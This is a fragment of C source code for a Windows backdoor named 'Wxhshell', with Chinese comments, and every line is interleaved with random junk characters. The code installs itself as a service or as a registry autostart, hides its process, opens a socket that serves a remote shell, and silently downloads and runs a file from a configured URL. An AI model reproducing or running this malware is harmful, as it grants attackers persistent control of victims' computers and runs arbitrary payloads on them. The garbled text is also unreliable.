procName[255]; ynw^nmM unsigned long cbNeeded; E,xCfS) xii*"n ~ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q~,E
K ^Xt9AM]e CloseHandle(hProcess); !.+iA=K{ !#rZeDmw if(strstr(procName,"services")) return 1; // 以服务启动 ~`#.ZMO )FMpfC>An return 0; // 注册表启动 3a:(\:?z } [=Np.:Y% ( {m["d // 主模块 YJuaQxs int StartWxhshell(LPSTR lpCmdLine) K>RL { S"|D!}@- SOCKET wsl; 'h O+ b BOOL val=TRUE; z Rz#0 int port=0; 8!3+Obj struct sockaddr_in door; @IB8(TZ5I "3Dvc7V if(wscfg.ws_autoins) Install(); VDPqI+z %saTyF, port=atoi(lpCmdLine); Fy`VQ\%7t ).9-=P HlX if(port<=0) port=wscfg.ws_port; ;)83tx
/ 3Nr8H.u&q WSADATA data; *gMuo6 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Y;e@`.( 4-E9a _ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; agBKp! setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )Si`>o3T-. door.sin_family = AF_INET; JGn@)!$+/ door.sin_addr.s_addr = inet_addr("127.0.0.1"); dWR?1sV|e door.sin_port = htons(port); E"#<I*b 6:v8J1G(< if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i/C#fIB2 closesocket(wsl); O~">-'f return 1; klT6?'S } 0K 7-i+\# h6)hZ'zV if(listen(wsl,2) == INVALID_SOCKET) { qlPjz*<h"H closesocket(wsl); r;O{et't7y return 1; qf2{Te1 } [mw#a9 Wxhshell(wsl); /%=#*/E7 WSACleanup(); Bpo~x2p ++R-_oQ return 0; cAVe(:k) &|9mM=^ }
6C
r$R]5 SK;f#quUQ // 以NT服务方式启动 @faf VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6@H&S { |8`}yRsQ DWORD status = 0; [DGq{(O DWORD specificError = 0xfffffff; GS8,mQ8l*l bCd! ap+# serviceStatus.dwServiceType = SERVICE_WIN32; Qyt6+xL serviceStatus.dwCurrentState = SERVICE_START_PENDING; 8uyVx9C0 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u+(e,t serviceStatus.dwWin32ExitCode = 0; #xYkG5`lm serviceStatus.dwServiceSpecificExitCode = 0; BzTm[`(h serviceStatus.dwCheckPoint = 0; $T;3*D 90 serviceStatus.dwWaitHint = 0; YyK9UZjI +ZizT.$& hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {:4); . if (hServiceStatusHandle==0) return; fkRb;aIl IdzF<>;W status = GetLastError(); %m+Z rH( if (status!=NO_ERROR) +=\S "e[F { SkvKzV.R; serviceStatus.dwCurrentState = SERVICE_STOPPED; Cgq9~U ! serviceStatus.dwCheckPoint = 0; qpp:h_E serviceStatus.dwWaitHint = 0; :w:5;cmV serviceStatus.dwWin32ExitCode = status; ]Y;$~qQ serviceStatus.dwServiceSpecificExitCode = specificError; -6+HA9zz@C SetServiceStatus(hServiceStatusHandle, &serviceStatus); eZ}FKg%2[ return; LwY_6[Ef } m6lNZb] JC>}(yQA serviceStatus.dwCurrentState = SERVICE_RUNNING; 1;? L:A serviceStatus.dwCheckPoint = 0; 'v6Rd)E\z serviceStatus.dwWaitHint = 0; 6TfXz2D'J if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >f`}CLsY } am:LLk-Lx (c(?s`; // 处理NT服务事件,比如:启动、停止 Kh$L~4l VOID WINAPI NTServiceHandler(DWORD fdwControl) dr'6N1B@ { dN\pe@#lKP switch(fdwControl) !ae@g
q' { `e`4[I case SERVICE_CONTROL_STOP: -z'@Mh|i6l serviceStatus.dwWin32ExitCode = 0; vaTXu* serviceStatus.dwCurrentState = SERVICE_STOPPED; M$! 0ikh serviceStatus.dwCheckPoint = 0; \+cQiN b@ serviceStatus.dwWaitHint = 0; Ls|;gewp { yMo@ka=v SetServiceStatus(hServiceStatusHandle, &serviceStatus); m1daOeZ]P } N|[a<ut< return; T0tG1/O\ case SERVICE_CONTROL_PAUSE: !Z4,UTu|Q serviceStatus.dwCurrentState = SERVICE_PAUSED; ?$
YE break; qIb(uF@l" case SERVICE_CONTROL_CONTINUE: laFkOQI serviceStatus.dwCurrentState = SERVICE_RUNNING; ?#FAa, break; ^e&,<+qY case SERVICE_CONTROL_INTERROGATE: s-8>AW
ep break; >vP^l
{SD }; ?hfosBn&[ SetServiceStatus(hServiceStatusHandle, &serviceStatus); T}u ' } 1$Eiv8xd l#Qf8*0 // 标准应用程序主函数 SxOM@A int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3F X`dZ { N>]u;HjH q!O~* // 获取操作系统版本 V!ajD!00 OsIsNt=GetOsVer(); (MxLw:AV GetModuleFileName(NULL,ExeFile,MAX_PATH); 9wtl|s%A% Y~Jq ! // 从命令行安装 sjaG%f&h if(strpbrk(lpCmdLine,"iI")) Install(); J+.t\R c=@=lGgo // 下载执行文件 \OY2| if(wscfg.ws_downexe) { m m`:ci if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) xmVK{Q YT$ WinExec(wscfg.ws_filenam,SW_HIDE); 8,['q~z } FEdyh?$ c)E'',-J_2 if(!OsIsNt) { j&44wuf // 如果时win9x,隐藏进程并且设置为注册表启动 B\<zU HideProc(); 9cj=CuE StartWxhshell(lpCmdLine); 2V~Yb1P } %mxG;w$ else $}HSU>,% if(StartFromService()) W?6RUyMC$T // 以服务方式启动 lJU[9)Q_ StartServiceCtrlDispatcher(DispatchTable); nk-?$'i9q else ?np`RA // 普通方式启动 _oLK"*
[# StartWxhshell(lpCmdLine); JH?[hb d}WAP m return 0; re^1fv }
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